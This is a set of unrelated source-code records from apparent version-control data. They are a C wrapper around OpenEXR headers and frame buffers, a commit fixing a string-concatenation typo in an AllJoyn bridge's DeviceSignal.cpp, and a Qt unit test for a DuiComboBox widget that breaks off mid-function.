display_window_max_x,\n        int display_window_max_y,\n        int data_window_min_x,\n        int data_window_min_y,\n        int data_window_max_x,\n        int data_window_max_y,\n        float pixel_aspect_ratio,\n        float screen_window_center_x,\n        float screen_window_center_y,\n        float screen_window_width,\n        int line_order, \/\/ 0: INCREASING_Y, 1: DECREASING_Y, 2: RANDOM_Y\n        CEXR_CompressionMethod compression);\n\n    void CEXR_Header_delete(\n        CEXR_Header *header);\n\n    void CEXR_Header_insert_channel(\n        CEXR_Header *header,\n        const char name[],\n        const CEXR_Channel channel);\n\n    int CEXR_Header_channel_exists(\n        CEXR_Header *header,\n        const char name[]);\n\n    CEXR_Channel CEXR_Header_get_channel(\n        CEXR_Header *header,\n        const char name[]);\n\n    CEXR_ChannelIterator CEXR_Header_new_channel_iterator(\n        CEXR_Header *header);\n};\n\nCEXR_Header CEXR_Header_new(\n    int display_window_min_x,\n    int display_window_min_y,\n    int display_window_max_x,\n    int display_window_max_y,\n    int data_window_min_x,\n    int data_window_min_y,\n    int data_window_max_x,\n    int data_window_max_y,\n    float pixel_aspect_ratio,\n    float screen_window_center_x,\n    float screen_window_center_y,\n    float screen_window_width,\n    int line_order,\n    int compression\n) {\n    CEXR_Header header;\n\n    header.header = new Header(\n        Box2i(V2i(display_window_min_x, display_window_min_y), V2i(display_window_max_x, display_window_max_y)),\n        Box2i(V2i(data_window_min_x, data_window_min_y), V2i(data_window_max_x, data_window_max_y)),\n        pixel_aspect_ratio,\n        V2f(screen_window_center_x, screen_window_center_y),\n        screen_window_width,\n        static_cast<LineOrder>(line_order),\n        static_cast<Compression>(compression));\n    return header;\n}\n\nvoid CEXR_Header_delete(CEXR_Header *header) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    delete h;\n}\n\nvoid CEXR_Header_insert_channel(CEXR_Header *header, const char name[], const CEXR_Channel channel) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    h->channels().insert(\n        name,\n        Channel(\n            static_cast<PixelType>(channel.type),\n            channel.x_sampling,\n            channel.y_sampling,\n            channel.p_linear));\n}\n\nint CEXR_Header_channel_exists(CEXR_Header *header, const char name[]) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    h->channels().findChannel(name) != 0;\n}\n\nCEXR_Channel CEXR_Header_get_channel(CEXR_Header *header, const char name[]) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    auto chan = h->channels().findChannel(name);\n\n    CEXR_Channel channel;\n    channel.type = chan->type;\n    channel.x_sampling = chan->xSampling;\n    channel.y_sampling = chan->ySampling;\n    channel.p_linear = chan->pLinear;\n\n    return channel;\n}\n\nCEXR_ChannelIterator CEXR_Header_new_channel_iterator(CEXR_Header *header) {\n    auto h = reinterpret_cast<Header*>(header->header);\n\n    CEXR_ChannelIterator channel_iter;\n    channel_iter.begin = reinterpret_cast<void*>(new auto(h->channels().begin()));\n    channel_iter.end = reinterpret_cast<void*>(new auto(h->channels().end()));\n\n    return channel_iter;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ FrameBuffer\nextern \"C\" {\n    struct CEXR_FrameBuffer {\n        void *frame_buffer;\n    };\n\n    CEXR_FrameBuffer CEXR_FrameBuffer_new();\n\n    void CEXR_FrameBuffer_delete(\n        CEXR_FrameBuffer *frame_buffer);\n\n    void CEXR_FrameBuffer_insert_slice(\n        CEXR_FrameBuffer *frame_buffer,\n        const char name[],\n        char *base,\n        size_t x_stride,\n        size_t y_stride,\n        int x_sampling,\n        int y_sampling,\n        double fill_value,\n        int x_tile_coords, \/\/ bool\n        int y_tile_coords \/\/ bool\n        );\n};\n\nCEXR_FrameBuffer CEXR_FrameBuffer_new() {\n    CEXR_FrameBuffer buffer;\n\n    buffer.frame_buffer = reinterpret_cast<void*>(new FrameBuffer());\n\n    return buffer;\n}\n\nvoid CEXR_FrameBuffer_delete(CEXR_FrameBuffer *frame_buffer) {\n    auto buffer = reinterpret_cast<FrameBuffer*>(frame_buffer->frame_buffer);\n    delete buffer;\n}\n\nvoid CEXR_FrameBuffer_insert_slice(\n    CEXR_FrameBuffer *frame_buffer,\n    const char name[],\n    CEXR_PixelType type,\n    char *base,\n    size_t x_stride,\n    size_t y_stride,\n    int x_sampling,\n    int y_sampling,\n    double fill_value,\n    int x_tile_coords, \/\/ bool\n    int y_tile_coords \/\/ bool\n) {\n    auto buffer = reinterpret_cast<FrameBuffer*>(frame_buffer->frame_buffer);\n\n    Slice slice;\n    slice.type = static_cast<PixelType>(type);\n    slice.base = base;\n    slice.xStride = x_stride;\n    slice.yStride = y_stride;\n    slice.xSampling = x_sampling;\n    slice.ySampling = y_sampling;\n    slice.fillValue = fill_value;\n    slice.xTileCoords = x_tile_coords;\n    slice.yTileCoords = y_tile_coords;\n\n    buffer->insert(name, slice);\n}\n\n\n\/\/ \/\/------------------------------------------------------------------------------\n\/\/ \/\/ OutputFile\n\/\/ extern \"C\" {\n\/\/     struct CEXR_OutputFile {\n\/\/         void *output_file;\n\/\/     };\n\/\/\n\/\/     CEXR_OutputFile CEXR_OutputFile_new(\n\/\/         const char[] file_name,\n\/\/         const CEXR_Header *header,\n\/\/         int num_threads);\n\/\/\n\/\/     void CEXR_OutputFile_delete(\n\/\/         CEXR_OutputFile *output_file);\n\/\/\n\/\/     void CEXR_OutputFile_set_frame_buffer(\n\/\/         CEXR_OutputFile* output_file,\n\/\/         CEXR_FrameBuffer* frame_buffer);\n\/\/\n\/\/     void CEXR_OutputFile_write_pixels(\n\/\/         CEXR_OutputFile* output_file,\n\/\/         int num_scan_lines);\n\/\/ };\n\/\/\n\/\/\n\/\/ \/\/------------------------------------------------------------------------------\n\/\/ \/\/ InputFile\n\/\/ extern \"C\" {\n\/\/     struct CEXR_InputFile {\n\/\/         CEXR_Header header;\n\/\/         void *input_file;\n\/\/     };\n\/\/\n\/\/     CEXR_InputFile CEXR_InputFile_new(\n\/\/         const char file_name[],\n\/\/         int num_threads);\n\/\/\n\/\/     void CEXR_InputFile_delete(\n\/\/         CEXR_InputFile *input_file);\n\/\/\n\/\/     const CEXR_Header *CEXR_InputFile_header(\n\/\/         const CEXR_InputFile *input_file);\n\/\/\n\/\/     int CEXR_InputFile_version(\n\/\/         const CEXR_InputFile *input_file);\n\/\/\n\/\/     void CEXR_InputFile_set_frame_buffer(\n\/\/         CEXR_InputFile* input_file,\n\/\/         CEXR_FrameBuffer* frame_buffer);\n\/\/\n\/\/     int CEXR_InputFile_is_complete(\n\/\/         const CEXR_InputFile *input_file);\n\/\/\n\/\/     void CEXR_InputFile_read_pixels(\n\/\/         CEXR_InputFile *input_file,\n\/\/         int scanline_1,\n\/\/         int scanline_2);\n\/\/ };\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2015, Microsoft Corporation\n\/\/\n\/\/ Permission to use, copy, modify, and\/or distribute this software for any\n\/\/ purpose with or without fee is hereby granted, provided that the above\n\/\/ copyright notice and this permission notice appear in all copies.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\/\/ WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\/\/ MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n\/\/ SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\/\/ WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\/\/ ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR\n\/\/ IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\/\/\n\n#include \"pch.h\"\n\n#include <sstream>\n#include \"BridgeUtils.h\"\n#include \"DeviceMain.h\"\n#include \"DeviceSignal.h\"\n#include \"AllJoynHelper.h\"\n\nusing namespace Platform;\nusing namespace Platform::Collections;\nusing namespace Windows::Foundation::Collections;\nusing namespace Windows::Foundation;\n\nusing namespace BridgeRT;\nusing namespace std;\n\n\nDeviceSignal::DeviceSignal()\n    : m_adapterSignal(nullptr)\n{\n}\n\nDeviceSignal::~DeviceSignal()\n{\n}\n\nQStatus DeviceSignal::Initialize(_In_ DeviceMain *parent, _In_ IAdapterSignal ^adapterSignal)\n{\n    QStatus status = ER_OK;\n\n    \/\/ sanity check\n    if (nullptr == parent)\n    {\n        status = ER_BAD_ARG_1;\n        goto leave;\n    }\n    if (nullptr == adapterSignal)\n    {\n        status = ER_BAD_ARG_2;\n        goto leave;\n    }\n\n    m_parent = parent;\n    m_adapterSignal = adapterSignal;\n\n    \/\/ build signal name\n    status = SetName(m_adapterSignal->Name);\n    if (ER_OK != status)\n    {\n        goto leave;\n    }\n\n    \/\/ build signatures and parameter list\n    status = BuildSignature();\n    if (ER_OK != status)\n    {\n        goto leave;\n    }\n\n    \/\/ add signal to interface\n    status = alljoyn_interfacedescription_addsignal(m_parent->GetInterfaceDescription(),\n        m_exposedName.c_str(),\n        m_signature.c_str(),\n        m_parameterNames.c_str(),\n        0,\n        nullptr);\n    if (ER_OK != status)\n    {\n        goto leave;\n    }\n\nleave:\n    return status;\n}\n\nvoid DeviceSignal::SendSignal()\n{\n    QStatus status = ER_OK;\n    size_t nbOfArgs = 0;\n    alljoyn_msgarg args = NULL;\n    alljoyn_interfacedescription_member signalDescription;\n    QCC_BOOL signalFound = QCC_FALSE;\n\n    \/\/ create out arguments if necessary\n    if (m_adapterSignal->Params->Size != 0)\n    {\n        args = alljoyn_msgarg_array_create(m_adapterSignal->Params->Size);\n        if (NULL == args)\n        {\n            goto leave;\n        }\n    }\n\n    \/\/ set arguments\n    for (auto signalParam : m_adapterSignal->Params)\n    {\n        \/\/check if the param is of type IPropertyValue\n        auto propertyValue = dynamic_cast<IPropertyValue^>(signalParam->Data);\n        if (nullptr == propertyValue)\n        {\n            \/\/Not a property value, see if its an Object\n            if (TypeCode::Object == Type::GetTypeCode(signalParam->Data->GetType()))\n            {\n                status = AllJoynHelper::SetMsgArgFromAdapterObject(signalParam, alljoyn_msgarg_array_element(args, nbOfArgs), m_parent);\n            }\n            else\n            {\n                goto leave;\n            }\n        }\n        else\n        {\n            status = AllJoynHelper::SetMsgArg(signalParam, alljoyn_msgarg_array_element(args, nbOfArgs));\n        }\n\n        if (ER_OK != status)\n        {\n            goto leave;\n        }\n        nbOfArgs++;\n    }\n\n    \/\/ send signal on AllJoyn\n    signalFound = alljoyn_interfacedescription_getsignal(m_parent->GetInterfaceDescription(), m_exposedName.c_str(), &signalDescription);\n    if (QCC_TRUE == signalFound)\n    {\n        alljoyn_busobject_signal(m_parent->GetBusObject(), NULL, ALLJOYN_SESSION_ID_ALL_HOSTED, signalDescription, args, nbOfArgs, 0, 0, NULL);\n    }\n\nleave:\n    if (NULL != args)\n    {\n        alljoyn_msgarg_destroy(args);\n    }\n}\n\nQStatus DeviceSignal::SetName(Platform::String ^name)\n{\n    QStatus status = ER_OK;\n\n    m_exposedName.clear();\n\n    if (name->IsEmpty())\n    {\n        status = ER_INVALID_DATA;\n        goto leave;\n    }\n\n    AllJoynHelper::EncodePropertyOrMethodOrSignalName(name, m_exposedName);\n    if (!m_parent->IsSignalNameUnique(m_exposedName))\n    {\n        \/\/ append unique id\n        std::ostringstream tempString;\n        m_exposedName += '_';\n        tempString << m_parent->GetIndexForSignal();\n        m_exposedName += tempString.str();\n    }\n\nleave:\n    return status;\n}\n\nQStatus DeviceSignal::BuildSignature()\n{\n    QStatus status = ER_OK;\n\n    m_signature.clear();\n    m_parameterNames.clear();\n\n    for (auto signalParam : m_adapterSignal->Params)\n    {\n        std::string tempSignature;\n        std::string hint;\n        if (nullptr == signalParam->Data)\n        {\n            \/\/ can't do anything with this param\n            status = ER_BUS_BAD_SIGNATURE;\n            goto leave;\n        }\n\n        \/\/check if the value is of type IPropertyValue^\n        auto propertyValue = dynamic_cast<IPropertyValue^>(signalParam->Data);\n        if (nullptr == propertyValue)\n        {\n            if (TypeCode::Object == Type::GetTypeCode(signalParam->Data->GetType()))\n            {\n                IAdapterProperty ^tempProperty = dynamic_cast<IAdapterProperty ^> (signalParam->Data);\n                if (nullptr == tempProperty)\n                {\n                    \/\/ wrong object type\n                    status = ER_BUS_BAD_SIGNATURE;\n                    goto leave;\n                }\n\n                \/\/ adapter object are exposed as string on AllJoyn\n                tempSignature += \"s\";\n                hint = \" (bus object path)\";\n            }\n            else\n            {\n                status = ER_BUS_BAD_SIGNATURE;\n                goto leave;\n            }\n        }\n        else\n        {\n            status = AllJoynHelper::GetSignature(propertyValue->Type, tempSignature);\n            if (ER_OK != status)\n            {\n                goto leave;\n            }\n            m_signature += tempSignature;\n        }\n\n        \/\/ add parameter name to parameter list\n        if (0 != m_parameterNames.length())\n        {\n            m_parameterNames == \",\";\n        }\n        m_parameterNames += ConvertTo<std::string>(signalParam->Name->Data());\n        m_parameterNames += hint;\n    }\n\nleave:\n    return status;\n}\n<commit_msg>Update DeviceSignal.cpp (#383)<commit_after>\/\/\n\/\/ Copyright (c) 2015, Microsoft Corporation\n\/\/\n\/\/ Permission to use, copy, modify, and\/or distribute this software for any\n\/\/ purpose with or without fee is hereby granted, provided that the above\n\/\/ copyright notice and this permission notice appear in all copies.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\/\/ WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\/\/ MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n\/\/ SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\/\/ WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\/\/ ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR\n\/\/ IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\/\/\n\n#include \"pch.h\"\n\n#include <sstream>\n#include \"BridgeUtils.h\"\n#include \"DeviceMain.h\"\n#include \"DeviceSignal.h\"\n#include \"AllJoynHelper.h\"\n\nusing namespace Platform;\nusing namespace Platform::Collections;\nusing namespace Windows::Foundation::Collections;\nusing namespace Windows::Foundation;\n\nusing namespace BridgeRT;\nusing namespace std;\n\n\nDeviceSignal::DeviceSignal()\n    : m_adapterSignal(nullptr)\n{\n}\n\nDeviceSignal::~DeviceSignal()\n{\n}\n\nQStatus DeviceSignal::Initialize(_In_ DeviceMain *parent, _In_ IAdapterSignal ^adapterSignal)\n{\n    QStatus status = ER_OK;\n\n    \/\/ sanity check\n    if (nullptr == parent)\n    {\n        status = ER_BAD_ARG_1;\n        goto leave;\n    }\n    if (nullptr == adapterSignal)\n    {\n        status = ER_BAD_ARG_2;\n        goto leave;\n    }\n\n    m_parent = parent;\n    m_adapterSignal = adapterSignal;\n\n    \/\/ build signal name\n    status = SetName(m_adapterSignal->Name);\n    if (ER_OK != status)\n    {\n        goto leave;\n    }\n\n    \/\/ build signatures and parameter list\n    status = BuildSignature();\n    if (ER_OK != status)\n    {\n        goto leave;\n    }\n\n    \/\/ add signal to interface\n    status = alljoyn_interfacedescription_addsignal(m_parent->GetInterfaceDescription(),\n        m_exposedName.c_str(),\n        m_signature.c_str(),\n        m_parameterNames.c_str(),\n        0,\n        nullptr);\n    if (ER_OK != status)\n    {\n        goto leave;\n    }\n\nleave:\n    return status;\n}\n\nvoid DeviceSignal::SendSignal()\n{\n    QStatus status = ER_OK;\n    size_t nbOfArgs = 0;\n    alljoyn_msgarg args = NULL;\n    alljoyn_interfacedescription_member signalDescription;\n    QCC_BOOL signalFound = QCC_FALSE;\n\n    \/\/ create out arguments if necessary\n    if (m_adapterSignal->Params->Size != 0)\n    {\n        args = alljoyn_msgarg_array_create(m_adapterSignal->Params->Size);\n        if (NULL == args)\n        {\n            goto leave;\n        }\n    }\n\n    \/\/ set arguments\n    for (auto signalParam : m_adapterSignal->Params)\n    {\n        \/\/check if the param is of type IPropertyValue\n        auto propertyValue = dynamic_cast<IPropertyValue^>(signalParam->Data);\n        if (nullptr == propertyValue)\n        {\n            \/\/Not a property value, see if its an Object\n            if (TypeCode::Object == Type::GetTypeCode(signalParam->Data->GetType()))\n            {\n                status = AllJoynHelper::SetMsgArgFromAdapterObject(signalParam, alljoyn_msgarg_array_element(args, nbOfArgs), m_parent);\n            }\n            else\n            {\n                goto leave;\n            }\n        }\n        else\n        {\n            status = AllJoynHelper::SetMsgArg(signalParam, alljoyn_msgarg_array_element(args, nbOfArgs));\n        }\n\n        if (ER_OK != status)\n        {\n            goto leave;\n        }\n        nbOfArgs++;\n    }\n\n    \/\/ send signal on AllJoyn\n    signalFound = alljoyn_interfacedescription_getsignal(m_parent->GetInterfaceDescription(), m_exposedName.c_str(), &signalDescription);\n    if (QCC_TRUE == signalFound)\n    {\n        alljoyn_busobject_signal(m_parent->GetBusObject(), NULL, ALLJOYN_SESSION_ID_ALL_HOSTED, signalDescription, args, nbOfArgs, 0, 0, NULL);\n    }\n\nleave:\n    if (NULL != args)\n    {\n        alljoyn_msgarg_destroy(args);\n    }\n}\n\nQStatus DeviceSignal::SetName(Platform::String ^name)\n{\n    QStatus status = ER_OK;\n\n    m_exposedName.clear();\n\n    if (name->IsEmpty())\n    {\n        status = ER_INVALID_DATA;\n        goto leave;\n    }\n\n    AllJoynHelper::EncodePropertyOrMethodOrSignalName(name, m_exposedName);\n    if (!m_parent->IsSignalNameUnique(m_exposedName))\n    {\n        \/\/ append unique id\n        std::ostringstream tempString;\n        m_exposedName += '_';\n        tempString << m_parent->GetIndexForSignal();\n        m_exposedName += tempString.str();\n    }\n\nleave:\n    return status;\n}\n\nQStatus DeviceSignal::BuildSignature()\n{\n    QStatus status = ER_OK;\n\n    m_signature.clear();\n    m_parameterNames.clear();\n\n    for (auto signalParam : m_adapterSignal->Params)\n    {\n        std::string tempSignature;\n        std::string hint;\n        if (nullptr == signalParam->Data)\n        {\n            \/\/ can't do anything with this param\n            status = ER_BUS_BAD_SIGNATURE;\n            goto leave;\n        }\n\n        \/\/check if the value is of type IPropertyValue^\n        auto propertyValue = dynamic_cast<IPropertyValue^>(signalParam->Data);\n        if (nullptr == propertyValue)\n        {\n            if (TypeCode::Object == Type::GetTypeCode(signalParam->Data->GetType()))\n            {\n                IAdapterProperty ^tempProperty = dynamic_cast<IAdapterProperty ^> (signalParam->Data);\n                if (nullptr == tempProperty)\n                {\n                    \/\/ wrong object type\n                    status = ER_BUS_BAD_SIGNATURE;\n                    goto leave;\n                }\n\n                \/\/ adapter object are exposed as string on AllJoyn\n                tempSignature += \"s\";\n                hint = \" (bus object path)\";\n            }\n            else\n            {\n                status = ER_BUS_BAD_SIGNATURE;\n                goto leave;\n            }\n        }\n        else\n        {\n            status = AllJoynHelper::GetSignature(propertyValue->Type, tempSignature);\n            if (ER_OK != status)\n            {\n                goto leave;\n            }\n            m_signature += tempSignature;\n        }\n\n        \/\/ add parameter name to parameter list\n        if (0 != m_parameterNames.length())\n        {\n            m_parameterNames += \",\";\n        }\n        m_parameterNames += ConvertTo<std::string>(signalParam->Name->Data());\n        m_parameterNames += hint;\n    }\n\nleave:\n    return status;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libdui.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include <QTest>\n#include <QSignalSpy>\n#include <QList>\n#include <QObject>\n#include <QGraphicsSceneMouseEvent>\n#include <QModelIndex>\n#include <DuiApplication>\n#include <QStandardItemModel>\n#include <QVariant>\n#include <QGraphicsGridLayout>\n#include <DuiImageWidget>\n#include <DuiLabel>\n#include <DuiWindow>\n#include <DuiScene>\n#include <DuiSceneManager>\n#include <DuiPopupList>\n\n#include \"ut_duicombobox.h\"\n#include \"duicancelevent.h\"\n#include \"duicomboboxview.h\"\n#include \"duicomboboxview_p.h\"\n\nDuiApplication *app;\nDuiWindow *win;\n\nvoid Ut_DuiComboBox::initTestCase()\n{\n    static int argc = 1;\n    static char *argv[1] = { (char *) \".\/Ut_DuiComboBox\" };\n    app = new DuiApplication(argc, argv);\n\n    win = new DuiWindow();\n    win->setSceneManager(new DuiSceneManager());\n}\n\nvoid Ut_DuiComboBox::cleanupTestCase()\n{\n    delete win;\n    win = NULL;\n    delete app;\n    app = NULL;\n}\n\nvoid Ut_DuiComboBox::init()\n{\n    m_combobox = new DuiComboBox();\n}\n\nvoid Ut_DuiComboBox::cleanup()\n{\n    if (m_combobox)\n        delete m_combobox;\n    m_combobox = NULL;\n}\n\nvoid Ut_DuiComboBox::testItemModel()\n{\n    QStringList buffer;\n    int total = 10;\n    for (int i = 0; i < total; i++)\n        buffer << \"Item\" + QString::number(i);\n\n    \/\/ test StandardItemModel\n    m_combobox->addItems(buffer);\n\n    QAbstractItemModel *itemModel = m_combobox->itemModel();\n    QStandardItemModel *smodel = qobject_cast<QStandardItemModel *>(itemModel);\n    QVERIFY(smodel != NULL);\n\n    \/\/ test use model from outside\n    QStringListModel model;\n    model.setStringList(buffer);\n\n    m_combobox->setItemModel(&model);\n    QCOMPARE(&model, m_combobox->itemModel());\n    QCOMPARE(m_combobox->count(), total);\n}\n\nvoid Ut_DuiComboBox::testActions()\n{\n    QStringList buffer;\n    int total = 10;\n    for (int i = 0; i < total; i++)\n        buffer << \"Item\" + QString::number(i);\n\n    \/\/ test add items\n    m_combobox->addItems(buffer);\n    QCOMPARE(m_combobox->count(), 10);\n\n    QAbstractItemModel *itemModel = m_combobox->itemModel();\n    QCOMPARE(itemModel->rowCount(), total);\n\n    m_combobox->clear();\n    QCOMPARE(m_combobox->count(), 0);\n\n    m_combobox->addItem(\"Just a test\");\n    QCOMPARE(m_combobox->count(), 1);\n\n    m_combobox->addItem(\"Icon\", \"Just a test\");\n    QCOMPARE(m_combobox->count(), 2);\n\n    \/\/ test remove item\n    m_combobox->removeItem(0);\n    QCOMPARE(m_combobox->count(), 1);\n\n    m_combobox->removeItem(0);\n    QCOMPARE(m_combobox->count(), 0);\n\n    \/\/ test insert item\n    m_combobox->insertItem(0, \"Just a test\");\n    QCOMPARE(m_combobox->count(), 1);\n\n    m_combobox->insertItem(0, \"Icon\", \"Just a test\");\n    QCOMPARE(m_combobox->count(), 2);\n\n    m_combobox->clear();\n    m_combobox->insertItems(0, buffer);\n    QCOMPARE(m_combobox->count(), total);\n}\n\nvoid Ut_DuiComboBox::testCurrentIndex()\n{\n    QStringList buffer;\n    int total = 10;\n    for (int i = 0; i < total; i++)\n        buffer << \"Item\" + QString::number(i);\n\n    m_combobox->addItems(buffer);\n\n    QSignalSpy spy1(m_combobox, SIGNAL(currentIndexChanged(int)));\n    QSignalSpy spy2(m_combobox, SIGNAL(currentIndexChanged(QString)));\n\n    m_combobox->setCurrentIndex(0);\n    QCOMPARE(m_combobox->currentIndex(), 0);\n    QCOMPARE(m_combobox->currentText(), QString(\"Item0\"));\n\n    QCOMPARE(spy1.count(), 1);\n    QCOMPARE(spy2.count(), 1);\n\n    QList<QVariant> arguments1 = spy1.takeFirst();\n    QVERIFY(arguments1.at(0).type() == QVariant::Int);\n    QVERIFY(arguments1.at(0).toInt() == 0);\n\n    QList<QVariant> arguments2 = spy2.takeFirst();\n    QVERIFY(arguments2.at(0).type() == QVariant::String);\n    QCOMPARE(arguments2.at(0).toString(), QString(\"Item0\"));\n}\n\nvoid Ut_DuiComboBox::testFunctions()\n{\n    QString value = \"test\";\n    m_combobox->setIconID(value);\n    QCOMPARE(m_combobox->iconID(), value);\n\n    m_combobox->setTitle(value);\n    QCOMPARE(m_combobox->title(), value);\n\n    m_combobox->setIconVisible(false);\n    QCOMPARE(m_combobox->isIconVisible(), false);\n\n    m_combobox->setIconVisible(true);\n    QCOMPARE(m_combobox->isIconVisible(), true);\n\n    m_combobox->insertItem(0, \"Just a test\");\n    m_combobox->setItemText(0, value);\n    QCOMPARE(m_combobox->itemText(0), value);\n\n    m_combobox->setItemIconID(0, value);\n    QCOMPARE(m_combobox->itemIconID(0), value);\n}\n\nvoid Ut_DuiComboBox::testCancelEvent()\n{\n    QSignalSpy showPopupSpy(m_combobox, SIGNAL(showPopupList()));\n\n    QGraphicsSceneMouseEvent mouseEvent(QEvent::GraphicsSceneMousePress);\n    m_combobox->mousePressEvent(&mouseEvent);\n    QVERIFY(m_combobox->isDown() == true);\n\n    DuiCancelEvent event;\n    m_combobox->cancelEvent(&event);\n\n    QCOMPARE(showPopupSpy.count(), 0);\n    QVERIFY(m_combobox->isDown() == false);\n}\n\nvoid Ut_DuiComboBox::testIconVisibility()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    m_combobox->setTitle(\"Title\");\n    view->updateData(QList<const char *>() << DuiComboBoxModel::Title);\n    QCOMPARE(viewPrivate->icon->isVisible(), false);\n    QCOMPARE(viewPrivate->layout->itemAt(0, 0), viewPrivate->title);\n\n    m_combobox->setIconID(\"Icon-music\");\n    view->updateData(QList<const char *>() << DuiComboBoxModel::IconID);\n    QCOMPARE(viewPrivate->icon->isVisible(), true);\n    QCOMPARE(viewPrivate->layout->itemAt(0, 0), viewPrivate->icon);\n\n    m_combobox->setIconVisible(false);\n    view->updateData(QList<const char *>() << DuiComboBoxModel::IconVisible);\n    QCOMPARE(viewPrivate->icon->isVisible(), false);\n    QCOMPARE(viewPrivate->layout->itemAt(0, 0), viewPrivate->title);\n\n    m_combobox->setIconVisible(true);\n    view->updateData(QList<const char *>() << DuiComboBoxModel::IconVisible);\n    QCOMPARE(viewPrivate->icon->isVisible(), true);\n    QCOMPARE(viewPrivate->layout->itemAt(0, 0), viewPrivate->icon);\n}\n\n\nvoid Ut_DuiComboBox::testClickSlot()\n{\n    win->scene()->addItem(m_combobox);\n\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    m_combobox->addItem(\"Item1\");\n    m_combobox->addItem(\"Item2\");\n\n    m_combobox->click();\n\n    QVERIFY(viewPrivate->popuplist != 0);\n    QVERIFY(viewPrivate->popuplist->isVisible());\n\n    win->scene()->removeItem(m_combobox);\n}\n\nvoid Ut_DuiComboBox::testBuiltinModel()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    m_combobox->addItems(QStringList() << \"item0\" << \"item1\" << \"item2\" << \"item3\");\n\n    \/\/ select item2\n    m_combobox->setCurrentIndex(2);\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item2\"));\n    \/\/ remove item1, index should change\n    m_combobox->removeItem(1);\n    QCOMPARE(m_combobox->currentIndex(), 1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item2\"));\n    \/\/ remove current item\n    m_combobox->removeItem(1);\n    QCOMPARE(m_combobox->currentIndex(), -1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"!! Tap to Select\"));\n    \/\/ check that after removing items everything looks ok\n    QCOMPARE(m_combobox->count(), 2);\n    m_combobox->setCurrentIndex(1);\n    QCOMPARE(m_combobox->currentIndex(), 1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item3\"));\n    \/\/ add one item\n    m_combobox->insertItem(0, QString(\"itemX\"));\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item3\"));\n\n    \/\/ change current item text\n    m_combobox->setItemText(2, QString(\"beef\"));\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"beef\"));\n}\n\nvoid Ut_DuiComboBox::testModelSwitching()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    m_combobox->addItems(QStringList() << \"item0\" << \"item1\" << \"item2\" << \"item3\");\n\n    m_combobox->setCurrentIndex(2);\n    QCOMPARE(m_combobox->currentIndex(), 2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"item2\"));\n\n    QStringListModel *strListModel = new QStringListModel();\n    strListModel->setStringList(QStringList() << \"foo0\" << \"foo1\" << \"foo2\" << \"foo3\");\n    m_combobox->setItemModel(strListModel);\n\n    \/\/ model changed selection should reset\n    QCOMPARE(m_combobox->currentIndex(), -1);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"!! Tap to Select\"));\n}\n\nvoid Ut_DuiComboBox::testStringListModel()\n{\n    DuiComboBoxView *view = (DuiComboBoxView *)m_combobox->view();\n    DuiComboBoxViewPrivate *viewPrivate = view->d_func();\n\n    QStringListModel *strListModel = new QStringListModel();\n    strListModel->setStringList(QStringList() << \"foo0\" << \"foo1\" << \"foo2\" << \"foo3\");\n    m_combobox->setItemModel(strListModel);\n\n    \/\/ select item 2\n    m_combobox->setCurrentIndex(2);\n    QCOMPARE(viewPrivate->subtitle->text(), QString(\"foo2\"));\n    \/\/ remove item1, index should change\n    strListModel->removeRow(1);\n    QCOMPARE(m_combobox->currentIndex(), 1);\n    